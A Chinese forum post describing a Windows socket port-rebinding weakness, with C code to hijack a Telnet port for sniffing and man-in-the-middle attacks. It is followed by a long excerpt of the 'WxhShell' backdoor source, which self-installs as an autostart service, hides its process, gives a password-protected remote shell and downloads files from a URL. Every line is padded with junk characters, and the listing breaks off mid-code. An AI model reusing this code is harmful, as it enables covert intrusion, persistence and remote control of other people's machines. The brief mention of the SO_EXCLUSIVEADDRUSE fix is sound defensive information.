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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: n&E/{o(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n%{oFTLCo  
oho~?.F  
  saddr.sin_family = AF_INET; WAVEwA`r  
iv6bXV'N  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %vU*4mH  
3`ze<K((  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _2xYDi  
^E3 HY@j  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 QhPpo#^  
'~pZj"uy  
  这意味着什么?意味着可以进行如下的攻击: ^!K 8nW{*  
(U*Zz+ R   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;!<@Fm9W  
f'u[G?C  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^>h2.A J  
21~~=+)X  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .1[pO_  
I! ~3xZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  QaAMiCZFR  
^K!R4Y4t  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;Y$d !an0  
)GJlQ1x  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 z_:r&UP`"  
s1zkkLw`*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :LD+B1$y  
^bXCYkx  
  #include R-\"^BV#Z  
  #include SXmh@a"*\  
  #include 4$4n9`odE  
  #include    _;k))K^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   t\lx*_lr  
  int main() 7 '7a`-W  
  { 9`DY6qfly  
  WORD wVersionRequested; [Ny'vAHOj  
  DWORD ret; pEiq;2{~Yn  
  WSADATA wsaData; +fq;o8q  
  BOOL val; `,6^eLU  
  SOCKADDR_IN saddr; )h;zH,DA[3  
  SOCKADDR_IN scaddr; &0J/V>k  
  int err; }-paGM@'Nd  
  SOCKET s; fq0[7Yb  
  SOCKET sc; \V9);KAOj  
  int caddsize; lziC.Dpa  
  HANDLE mt; Mm#=d?YUHJ  
  DWORD tid;   MZSyu  
  wVersionRequested = MAKEWORD( 2, 2 ); i-&"1D[&  
  err = WSAStartup( wVersionRequested, &wsaData ); *q(HW  
  if ( err != 0 ) { DZX4c2J  
  printf("error!WSAStartup failed!\n"); 6 ZVD<C:\  
  return -1; E=~Ahkg  
  } ZmJHLn[ B  
  saddr.sin_family = AF_INET; SrXuiiK  
   q^b_'We_9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 z0 _/JwJn  
b]\V~ZaXG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~Nl`Zmn(A|  
  saddr.sin_port = htons(23); 'a enh j  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K?mly$  
  { QK`2^  
  printf("error!socket failed!\n"); QEl~uhc3  
  return -1; H3q L&xL  
  } :,=Z)e  
  val = TRUE; edh<L/%D  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 '5n=tRx  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) JLV?n,nF  
  { NKw}VW'|  
  printf("error!setsockopt failed!\n"); OGU#%5"<  
  return -1; lV2MRxI  
  } )1]LoEdm`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; h3kBNBI )  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =|bW >y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 eR5+1b  
nB86oQ/S  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) & A@ !g  
  { m{sch`bP  
  ret=GetLastError(); =_H)5I_\  
  printf("error!bind failed!\n"); .#ATI<t  
  return -1; .t9zF-jk  
  } n!y}p q6  
  listen(s,2); 9i#K{CkC|  
  while(1) -X#qW"92q  
  { fT_swh IO  
  caddsize = sizeof(scaddr); n0kkUc-`   
  //接受连接请求 g3,F+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); q"pnFK9/L  
  if(sc!=INVALID_SOCKET) Nh\y@\F>  
  { t8FgQ)tk  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); MFLw^10(T  
  if(mt==NULL) w'Q2Czso  
  { sR*JU%  
  printf("Thread Creat Failed!\n"); {1`n^j(>  
  break; .[#bOp*  
  } &M^FA=J\  
  } Bn{0-5nj  
  CloseHandle(mt); ?GKm_b]JC  
  } L\UM12  
  closesocket(s); <x2 F5$@  
  WSACleanup(); gb/M@6/j  
  return 0; ]j?Kn$nv*S  
  }   JSm3ZP|GqJ  
  DWORD WINAPI ClientThread(LPVOID lpParam) k~b8=$  
  { QYTwGThWR  
  SOCKET ss = (SOCKET)lpParam; U9p^?\-=  
  SOCKET sc; pGGx.&5#82  
  unsigned char buf[4096]; hKW!kA =gZ  
  SOCKADDR_IN saddr; {:9P4<%H  
  long num; z?8Sie  
  DWORD val; 6 _\j_$  
  DWORD ret; ihdtq  
  //如果是隐藏端口应用的话,可以在此处加一些判断 b`sph%&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   EaGS}=qY5  
  saddr.sin_family = AF_INET; Y^f12%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Gk5SG_o  
  saddr.sin_port = htons(23); &g<`i{_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Jv=G3=.  
  { XS/5y(W  
  printf("error!socket failed!\n"); wY j~(P"  
  return -1; 7oI^shk  
  } OT5'cl  
  val = 100; /1q] D8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &vp0zYd+v  
  { 3 eFBe2  
  ret = GetLastError(); ;i><03  
  return -1; emI]'{_G  
  } 7eg//mL"6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4';tMiz  
  { >, }m=X8  
  ret = GetLastError(); K06/ D!RD4  
  return -1; yw;!KUKb|  
  } XP-4=0zd  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "ci<W_lx  
  { QP e}rQnm  
  printf("error!socket connect failed!\n"); \;A\ vQ[  
  closesocket(sc); 5&r2a}K  
  closesocket(ss); J ;wA  
  return -1; (8(z42  
  } E qva] 4  
  while(1) a JDu_  
  { RFu]vFff  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 c!%:f^7g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 'HV}Tr  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 PF(P"f.?D  
  num = recv(ss,buf,4096,0); o^! Zt 9  
  if(num>0) =>CrZ23B "  
  send(sc,buf,num,0); h D/b O  
  else if(num==0) ~U~4QQV  
  break; $V8B =k~  
  num = recv(sc,buf,4096,0); HiG&`:P>q  
  if(num>0) R%Yws2Le2  
  send(ss,buf,num,0); d0 tN73(  
  else if(num==0) `'[ 7M  
  break; 3:Sv8csT  
  } r(yb%p+  
  closesocket(ss); 2aN  
  closesocket(sc); S-h1p`  
  return 0 ; ud-.R~f{e  
  } 1q! 6Sny@  
GJqSNi}  
~I>B5^3  
========================================================== U9xFQ=$ 2  
T8FKa4ikn  
下边附上一个代码,,WXhSHELL 'vTD7a^  
gGU3e(!Uc  
========================================================== kc8T@5+I0  
*R>I%?]V3  
#include "stdafx.h" * #;rp~  
um&e.V)N  
#include <stdio.h> B%9[  
#include <string.h> :OBggb#?!  
#include <windows.h> $hO8 S=  
#include <winsock2.h> qD#-q vn  
#include <winsvc.h> qhpq\[U6in  
#include <urlmon.h> ? xX`_l  
,9"</\]`  
#pragma comment (lib, "Ws2_32.lib") <S0!$.Kg*<  
#pragma comment (lib, "urlmon.lib") TR@$$RrU  
"O|fX\}5  
#define MAX_USER   100 // 最大客户端连接数 $(}kau  
#define BUF_SOCK   200 // sock buffer Y^S0K'N  
#define KEY_BUFF   255 // 输入 buffer (w% hz']  
c uquA ~  
#define REBOOT     0   // 重启 a(8]y.`Tv  
#define SHUTDOWN   1   // 关机 G$4lH>A&  
'eqvK|Uj:  
#define DEF_PORT   5000 // 监听端口 jt2 m-*aP  
mcDW&jwQ  
#define REG_LEN     16   // 注册表键长度 YKl!M/  
#define SVC_LEN     80   // NT服务名长度 =fi.*d?$7  
&H5 6mL{  
// 从dll定义API bTHa;* `  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^ I,1kl~i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &TWO/F+Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :yk Z7X&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i`8!Vm  
:eQx di'  
// wxhshell配置信息 3g2t{ %  
struct WSCFG { ,-DE;l^Q=  
  int ws_port;         // 监听端口 #>ci!4Gz=Z  
  char ws_passstr[REG_LEN]; // 口令 7qXgHrr0|U  
  int ws_autoins;       // 安装标记, 1=yes 0=no &"C1XM  
  char ws_regname[REG_LEN]; // 注册表键名 #8|;Q`Or:  
  char ws_svcname[REG_LEN]; // 服务名 %v~j10e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7X}_yMxc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (DK pJCx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J(/ eR,ak  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oRWsi/Zf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :@b>,{*4zS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a9jY^E'|n  
,%nmCetD@  
}; ~P6K)V|@<  
L1C' V/g  
// default Wxhshell configuration [TO:- 8$.  
struct WSCFG wscfg={DEF_PORT, 3y 3 U`Mo  
    "xuhuanlingzhe", D|-]"(2i  
    1, nNilT J   
    "Wxhshell", (%+DE4?  
    "Wxhshell", "v*RY "5#  
            "WxhShell Service", EUna_ 4=  
    "Wrsky Windows CmdShell Service", gi;V~>kh  
    "Please Input Your Password: ", 6u:5]e8  
  1, oS,<2Z  
  "http://www.wrsky.com/wxhshell.exe", J;_JH lK  
  "Wxhshell.exe" nVyb B~.=  
    }; ]r"{G*1Q 9  
RXx +rdF0  
// 消息定义模块 [>_( q|A6+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )If[pw@j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &*)tqQeQf  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BTd'bD~EA  
char *msg_ws_ext="\n\rExit."; LK:|~UV?  
char *msg_ws_end="\n\rQuit."; 6gR=e+  
char *msg_ws_boot="\n\rReboot..."; Vj?.'(  
char *msg_ws_poff="\n\rShutdown..."; Qn*c<:  
char *msg_ws_down="\n\rSave to "; T. ` %1S  
{&h&:  
char *msg_ws_err="\n\rErr!"; >MP PYVn7  
char *msg_ws_ok="\n\rOK!"; O &w$  
wH${q@z_  
char ExeFile[MAX_PATH]; 06Hn:IT18  
int nUser = 0; m/6oQ  
HANDLE handles[MAX_USER]; BxZop.zwE(  
int OsIsNt; -ZyFUGd%  
([9h.M6v  
SERVICE_STATUS       serviceStatus; .PAkW2\#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i*U\~CZjT  
VJR'B={h  
// 函数声明 ]7u8m[@  
int Install(void); .ySesN: C~  
int Uninstall(void); XIp9=jhSR  
int DownloadFile(char *sURL, SOCKET wsh); 1  yzxA(  
int Boot(int flag); @JEr/yy  
void HideProc(void); m1[QD26  
int GetOsVer(void); T:!sfhrZ~<  
int Wxhshell(SOCKET wsl); ,<vrDHR  
void TalkWithClient(void *cs); "]NQTUb;  
int CmdShell(SOCKET sock); $Jr`4s  
int StartFromService(void); nO|S+S_9  
int StartWxhshell(LPSTR lpCmdLine); 'Yd%Tb|*  
Q^p@ 1I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MZd\.]G@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *UyV@  
TM^1 {0;r5  
// 数据结构和表定义 /t9w%Y  
SERVICE_TABLE_ENTRY DispatchTable[] = q/B+F%QiMQ  
{ ASYUKh,h  
{wscfg.ws_svcname, NTServiceMain}, vSnb>z1  
{NULL, NULL} 93!a  
}; X  ]a>  
3x=F  
// 自我安装 _E30t( _.  
int Install(void) k]>k1Mi=  
{ x# YOz7.  
  char svExeFile[MAX_PATH]; Czci6 Lz  
  HKEY key; VmUM _Q~  
  strcpy(svExeFile,ExeFile); f<}!A$wd  
zEhy0LLm  
// 如果是win9x系统,修改注册表设为自启动 #VO2O0GR  
if(!OsIsNt) { :,ym)|YV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~<Lf@yu-{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?\O+#U%W  
  RegCloseKey(key); <HzAh<_@F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \YKh'|04  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PCLSY8N  
  RegCloseKey(key); 9e1 6 g  
  return 0; AngECkF-  
    } .gPsJ?b  
  } gOWyV@  
} R_ 1C+  
else { | 5L1\O8#  
gP`!MlY@  
// 如果是NT以上系统,安装为系统服务 .y0]( h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %zelpBu+  
if (schSCManager!=0) fgp 7 |;Y  
{ ,m"ztu-  
  SC_HANDLE schService = CreateService I+CQ,Zuf  
  ( XeB>V.<y  
  schSCManager, kCC9U_dj,  
  wscfg.ws_svcname, v|/3Mi9mz  
  wscfg.ws_svcdisp, kCwTv:)  
  SERVICE_ALL_ACCESS, EIYM0vls(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :U:7iP:  
  SERVICE_AUTO_START, EU@mrm?  
  SERVICE_ERROR_NORMAL, <zf+Ii1:,  
  svExeFile, y="SzPl  
  NULL, V%0.%/<#5  
  NULL, /SUV'J)  
  NULL, nM; G; T  
  NULL, 28)TXRr-  
  NULL nfJ8Rt   
  ); k41la?  
  if (schService!=0) op|mRJBq;  
  { ~4>Xi* B  
  CloseServiceHandle(schService); &53#`WgJ  
  CloseServiceHandle(schSCManager); <{U{pCT%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Fm;)7.% >  
  strcat(svExeFile,wscfg.ws_svcname); @\D D|o67  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kdUGmR0d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hKTg~y^  
  RegCloseKey(key); >4ct[fW+  
  return 0;  `JE>GZ Y  
    } Me}TW!GC  
  } #LN I&5  
  CloseServiceHandle(schSCManager); \i,cL)HM  
} rq1kj 8%2  
} HEuM"2{DMM  
$&C(oh$:  
return 1; TN %"RL  
} uTU4Fn\$L  
Z M+Hb_6f  
// 自我卸载 tRy D@}  
int Uninstall(void) ZmULy;{<)  
{ `Q&] dE=  
  HKEY key; &1p8#i  
+r0eTP=zf  
if(!OsIsNt) { 4{DeF@@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )R^Cqo'  
  RegDeleteValue(key,wscfg.ws_regname); Jrk^J6aa  
  RegCloseKey(key); }R1`ThTM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gr 5]5u  
  RegDeleteValue(key,wscfg.ws_regname); j>o +}p?3I  
  RegCloseKey(key); bJ|?5  
  return 0; <]'"e]  
  } @ g75T`N  
} N4To#Q1w  
} 0H3T'J%r  
else { Q@2tT&eL  
_=L;`~=C9e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u!uDu,y  
if (schSCManager!=0) .UrYF 0  
{ gx*rSS?=N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VM]IL%AN  
  if (schService!=0) cY2-T#rL  
  { '%EZoc/U  
  if(DeleteService(schService)!=0) { d# 3tQ*G/  
  CloseServiceHandle(schService); m I zBK]@^  
  CloseServiceHandle(schSCManager); ]|N4 #4  
  return 0; QklNw6,  
  } f%{Tu`  
  CloseServiceHandle(schService); Z) Xs;7  
  } M_1Tx  
  CloseServiceHandle(schSCManager); e_=pspnZ  
} Z02s(y=k1  
} b.4Xn0-M  
\5P.C  
return 1; qu ~|d}0  
} Fd[h9 G  
%?f:"  
// 从指定url下载文件 nuQ6X5>.=  
int DownloadFile(char *sURL, SOCKET wsh) $G_Q`w=jM  
{ ,Us2UEWNv  
  HRESULT hr; >J}n@MZ  
char seps[]= "/"; -(w~LT$ "  
char *token; zw: C*sY  
char *file; z"K( bw6  
char myURL[MAX_PATH]; q{GSsDo-:V  
char myFILE[MAX_PATH]; JYd7@Msfc  
b;L>%;  
strcpy(myURL,sURL); [tqO}D  
  token=strtok(myURL,seps); =u8D!AxT  
  while(token!=NULL) $W$# CTM  
  { ZB[(Tv1  
    file=token; T@|l@xm~L  
  token=strtok(NULL,seps); ;:Z=%R$wJ  
  } ^ L ^F=qx  
Ao":9r[V  
GetCurrentDirectory(MAX_PATH,myFILE); ]1?=jlUl  
strcat(myFILE, "\\"); 5ttMua <G?  
strcat(myFILE, file); "W@XP+POAY  
  send(wsh,myFILE,strlen(myFILE),0); 0i\',h}9  
send(wsh,"...",3,0); 3u*hT T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wm=RD98  
  if(hr==S_OK) =x^l[>sz  
return 0; VkpHzr[k  
else =#(0)p $EC  
return 1; i7nL_N  
u<]mv  
} 5!AV!A_Jp  
f>r3$WKj  
// 系统电源模块 rer|k<k;]G  
int Boot(int flag) voV:H[RD9  
{ \V^*44+ <!  
  HANDLE hToken; jJVT_8J  
  TOKEN_PRIVILEGES tkp; &$c5~9p\B  
i<m$#6 <Z  
  if(OsIsNt) { +~d1 ;0l|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |qlS6Aln  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x=5P+_  
    tkp.PrivilegeCount = 1; e8WEz 4r_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kT^*>=1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )4ilCS&  
if(flag==REBOOT) { nlzW.OLM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ALd]1a&  
  return 0; t<sNc8x  
} 3@)obb  
else { :)p)=c8%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uxO J3  
  return 0; K 3Yw8t2J  
} yW\XNX  
  } URK!W?3c  
  else { rLJ[FqS  
if(flag==REBOOT) { 'j,oIqx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +2DE/wE]e+  
  return 0; BWUt{,?KU  
} yI8m%g%  
else { o\ngR\>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xQJIM.  
  return 0; VLsh=v   
} dL_QX,X-]  
} S Pn8\2Cj  
=4tO0  
return 1; FaFp_P?  
} ~uI**{  
s=d+GMa  
// win9x进程隐藏模块 \sK:W|yy  
void HideProc(void) 5vTv$2@  
{ U:]MgZWn  
AkrTfi4hC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c>ad0xce6  
  if ( hKernel != NULL ) 1")FWN_K/T  
  { p9-0?(]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lC#RNjDp/~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G02ox5X  
    FreeLibrary(hKernel); e?V,fzg  
  } RF_[?O)Q  
W+gpr|R2  
return; 4xm&pQo{V6  
} A&?}w_|9  
x;]x_f z  
// 获取操作系统版本 Ge~q3"  
int GetOsVer(void) k-"<{V  
{ =m}TU)4.  
  OSVERSIONINFO winfo; ^m*3&x8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]gu1#  
  GetVersionEx(&winfo); 6Rcu a<;2P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n]+.  
  return 1; ; XG]Q<S\  
  else .H8mRvd?  
  return 0; %}C9  
} |q;Al z{  
rA,CQypo  
// 客户端句柄模块 S%kS#U${|  
int Wxhshell(SOCKET wsl) &p5&=zV}  
{ {j?7d; 'j  
  SOCKET wsh; RqXi1<6j#  
  struct sockaddr_in client; ]pnYvXf>!  
  DWORD myID; Z>F@n Tzb>  
n)#Lh 7X"  
  while(nUser<MAX_USER) @\)fzubu  
{ 9e~WK720=  
  int nSize=sizeof(client); Z_FNIM0f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  c/ _yMN  
  if(wsh==INVALID_SOCKET) return 1; rvic%bsk  
&5u BNpH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mDfwn7f  
if(handles[nUser]==0) ~%s}S  
  closesocket(wsh); QY@u}&m%o  
else {I{3(M#"  
  nUser++; d$K=c1  
  } I"1CgKYK^+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XA1f' Kk  
J A`H@qE  
  return 0; JSgpb ?(  
} 0Uw ^FcW  
WSLy}@`Vx  
// 关闭 socket !h CS#'  
void CloseIt(SOCKET wsh) UfR~%p>K  
{  %[`a  
closesocket(wsh); MiJ6n[iv  
nUser--; K\P!a@>1  
ExitThread(0); [ ?iqqG.  
} ^ av6HFQ  
G>%AZr{M  
// 客户端请求句柄 ?*H9-2W@  
void TalkWithClient(void *cs) 3B{[%#vO  
{ ?,07;>&  
d+6]u_J  
  SOCKET wsh=(SOCKET)cs; ;i\C]*  
  char pwd[SVC_LEN]; )~V }oKk0t  
  char cmd[KEY_BUFF]; 5Z{_m;I.   
char chr[1]; jWvtv ng  
int i,j; B'}"AC"  
B3mS]  
  while (nUser < MAX_USER) { \D?:J3H*]  
LkBZlh_  
if(wscfg.ws_passstr) { #~k[6YR 0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >)Gd:636+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F;u_7OM  
  //ZeroMemory(pwd,KEY_BUFF); x=]S.XI  
      i=0; Hx %$ X  
  while(i<SVC_LEN) { ?TpUf  
#Fs|f3-@  
  // 设置超时 & [_ZXVva~  
  fd_set FdRead; YT=eVg53  
  struct timeval TimeOut; & Kmy}q  
  FD_ZERO(&FdRead); aMTFW_w  
  FD_SET(wsh,&FdRead); ^Kqf ~yS%  
  TimeOut.tv_sec=8; sDC*J \X  
  TimeOut.tv_usec=0; eA=WGy@IcN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YEv Lhh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #`ls)-`7  
{)@D`{$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m`6VKp{YD  
  pwd=chr[0]; exDkq0u]  
  if(chr[0]==0xd || chr[0]==0xa) { qu~X.pW  
  pwd=0; 81F,Y)x.  
  break; dz%EM8  
  } uS<_4A;sD,  
  i++; $^_|j1 z#i  
    } p|qyTeg  
CzVmNy)kl  
  // 如果是非法用户,关闭 socket KX3KM!*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &yIGr` ;  
} s-rfS7;  
%=Tr^{ i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;..o7I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S1b Au <  
*Zbuq8>  
while(1) { s0C:m  
kl}Xmw{tJ  
  ZeroMemory(cmd,KEY_BUFF); >jx.R  
3fr^ T  
      // 自动支持客户端 telnet标准   OgCy4_a[f  
  j=0; wLJ]&puwm  
  while(j<KEY_BUFF) { p&N#_dmlH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S8vV!xO  
  cmd[j]=chr[0]; UE :HMn6  
  if(chr[0]==0xa || chr[0]==0xd) { [}2Z/   
  cmd[j]=0; w%a8XnW]1  
  break; GABQUmtH  
  } PJLR<9  
  j++; ]@ M5_%p  
    } Yr+23Ro  
|L::bx(  
  // 下载文件 #X`8dnQZ  
  if(strstr(cmd,"http://")) { K84^ Oq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^G|98yc!'  
  if(DownloadFile(cmd,wsh)) xT*d/Oaw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ug%_@t/?  
  else jQh^WmN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {Wv% zA*8  
  } >v+jh(^  
  else { / T c=  
Ev9 >@~^  
    switch(cmd[0]) { ^G1%6\We  
  Yu3zM79'k  
  // 帮助 ~i~%~doa  
  case '?': { @jy41eIo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K#mOSY;}  
    break; \7v)iG|#G&  
  } QM<y`cZ8  
  // 安装 .Y*f2A.v  
  case 'i': { },@^0UH4c  
    if(Install()) Ykqyk')wm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 s Fz?` -  
    else y$W|~ H   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V@vU"  
    break; )3A{GZj#6  
    } BiwieF4x  
  // 卸载 {b)~V3rsY  
  case 'r': { )2e#HBnH  
    if(Uninstall()) qu|i;WZE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,h]o>  
    else 'UU\4M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <skajQQ  
    break; HMGB>  
    } ,IHb+K  
  // 显示 wxhshell 所在路径 0?DC00O  
  case 'p': { EbY,N:LK  
    char svExeFile[MAX_PATH]; 'gMfN  
    strcpy(svExeFile,"\n\r"); ,&^3Z  
      strcat(svExeFile,ExeFile); ,)FdRRj  
        send(wsh,svExeFile,strlen(svExeFile),0); aA'TD:&p1  
    break; s5&@Cxzl  
    } `~BZ1)@  
  // 重启 tY|8s]{2  
  case 'b': { ~x:DXEV,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w.{&=WTr  
    if(Boot(REBOOT)) v-b0\_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lUOvm\  
    else { $md%x mQ[  
    closesocket(wsh); c=O,;lWFqm  
    ExitThread(0); w'Tq3-%V  
    } -~{c u47_  
    break; K2)!h.W  
